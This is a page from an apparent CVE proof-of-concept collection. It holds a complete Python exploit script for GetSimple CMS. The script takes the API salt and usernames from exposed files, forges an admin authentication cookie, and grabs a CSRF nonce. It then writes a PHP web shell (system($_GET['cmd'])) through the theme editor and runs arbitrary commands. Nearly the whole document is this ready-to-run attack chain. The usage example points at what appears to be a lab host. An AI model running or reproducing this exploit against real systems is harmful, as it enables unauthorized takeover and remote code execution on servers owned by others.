4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

import requests
import hashlib
import re
import sys
from urllib.parse import urljoin
from bs4 import BeautifulSoup
import warnings

warnings.filterwarnings('ignore')

class GetSimpleCMSExploit:
    def __init__(self, url, command="id"):
        self.url = url if url.startswith('http') else f"http://{url}"
        self.command = command
        self.session = requests.Session()
        self.session.verify = False
        
    def get_version(self):
        """Extract CMS version"""
        try:
            res = self.session.get(urljoin(self.url, '/admin/'))
            if res.status_code != 200:
                print("[-] Failed to get version")
                return None
            
            soup = BeautifulSoup(res.text, 'html.parser')
            script = soup.find('script', {'type': 'text/javascript'})
            if script and script.get('src'):
                version = script['src'].split('?v=')[-1].replace('.', '')
                print(f"[+] Version found: {version}")
                return version
            return None
        except Exception as e:
            print(f"[-] Error getting version: {e}")
            return None
    
    def get_salt(self):
        """Extract API salt from authorization.xml"""
        try:
            res = self.session.get(urljoin(self.url, '/data/other/authorization.xml'))
            if res.status_code != 200:
                print("[-] Failed to get salt")
                return None
            
            soup = BeautifulSoup(res.text, 'xml')
            apikey = soup.find('apikey')
            if apikey:
                salt = apikey.text
                print(f"[+] Salt found: {salt}")
                return salt
            return None
        except Exception as e:
            print(f"[-] Error getting salt: {e}")
            return None
    
    def get_username(self):
        """Extract username from users directory"""
        try:
            res = self.session.get(urljoin(self.url, '/data/users/'))
            if res.status_code != 200:
                print("[-] Failed to get username")
                return None
            
            soup = BeautifulSoup(res.text, 'html.parser')
            for link in soup.find_all('a'):
                if link.text and '.xml' in link.text:
                    username = link.text.replace('.xml', '')
                    print(f"[+] Username found: {username}")
                    return username
            return None
        except Exception as e:
            print(f"[-] Error getting username: {e}")
            return None
    
    def generate_cookie(self, version, salt, username):
        """Generate forged authentication cookie"""
        try:
            cookie_name = f"getsimple_cookie_{version}"
            sha_salt_usr = hashlib.sha1(f"{username}{salt}".encode()).hexdigest()
            sha_salt_cookie = hashlib.sha1(f"{cookie_name}{salt}".encode()).hexdigest()
            
            cookie = f"GS_ADMIN_USERNAME={username};{sha_salt_cookie}={sha_salt_usr}"
            print(f"[+] Cookie generated: {cookie[:50]}...")
            return cookie
        except Exception as e:
            print(f"[-] Error generating cookie: {e}")
            return None
    
    def get_nonce(self, cookie):
        """Get CSRF nonce"""
        try:
            headers = {'Cookie': cookie}
            res = self.session.get(
                urljoin(self.url, '/admin/theme-edit.php'),
                params={'t': 'Innovation', 'f': 'Default Template', 's': 'Edit'},
                headers=headers
            )
            
            soup = BeautifulSoup(res.text, 'html.parser')
            nonce_input = soup.find('input', {'id': 'nonce'})
            if nonce_input:
                nonce = nonce_input.get('value')
                print(f"[+] Nonce found: {nonce}")
                return nonce
            return None
        except Exception as e:
            print(f"[-] Error getting nonce: {e}")
            return None
    
    def upload_shell(self, cookie, nonce, filename="shell.php", php_code=None):
        """Upload PHP shell"""
        try:
            if php_code is None:
                php_code = f"<?php system($_GET['cmd']); ?>"
            
            headers = {'Cookie': cookie}
            data = {
                'submitsave': '2',
                'edited_file': filename,
                'content': php_code,
                'nonce': nonce
            }
            
            res = self.session.post(
                urljoin(self.url, '/admin/theme-edit.php'),
                data=data,
                headers=headers
            )
            
            if res.status_code == 200:
                print(f"[+] Shell uploaded: {filename}")
                return True
            return False
        except Exception as e:
            print(f"[-] Error uploading shell: {e}")
            return False
    
    def execute_command(self, filename="shell.php"):
        """Execute command via shell"""
        try:
            shell_url = urljoin(self.url, f'/theme/{filename}')
            res = self.session.get(shell_url, params={'cmd': self.command})
            
            if res.status_code == 200:
                print(f"[+] Command executed: {self.command}")
                print(f"[+] Result:\n{res.text}")
                return res.text
            return None
        except Exception as e:
            print(f"[-] Error executing command: {e}")
            return None
    
    def exploit(self):
        """Run full exploit chain"""
        print("[*] Starting GetSimpleCMS RCE exploit...")
        print(f"[*] Target: {self.url}")
        
        # Step 1: Get version
        version = self.get_version()
        if not version:
            print("[-] Exploit failed: Could not get version")
            return False
        
        # Step 2: Get salt
        salt = self.get_salt()
        if not salt:
            print("[-] Exploit failed: Could not get salt")
            return False
        
        # Step 3: Get username
        username = self.get_username()
        if not username:
            print("[-] Exploit failed: Could not get username")
            return False
        
        # Step 4: Generate cookie
        cookie = self.generate_cookie(version, salt, username)
        if not cookie:
            print("[-] Exploit failed: Could not generate cookie")
            return False
        
        # Step 5: Get nonce
        nonce = self.get_nonce(cookie)
        if not nonce:
            print("[-] Exploit failed: Could not get nonce")
            return False
        
        # Step 6: Upload shell
        if not self.upload_shell(cookie, nonce):
            print("[-] Exploit failed: Could not upload shell")
            return False
        
        # Step 7: Execute command
        self.execute_command()
        print("[+] Exploit completed successfully!")
        return True

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 exploit.py <url> [command]")
        print("Example: python3 exploit.py gettingstarted.htb 'id'")
        print("Example: python3 exploit.py http://192.168.1.100 'whoami'")
        sys.exit(1)
    
    url = sys.argv[1]
    command = sys.argv[2] if len(sys.argv) > 2 else "id"
    
    exploit = GetSimpleCMSExploit(url, command)
    exploit.exploit()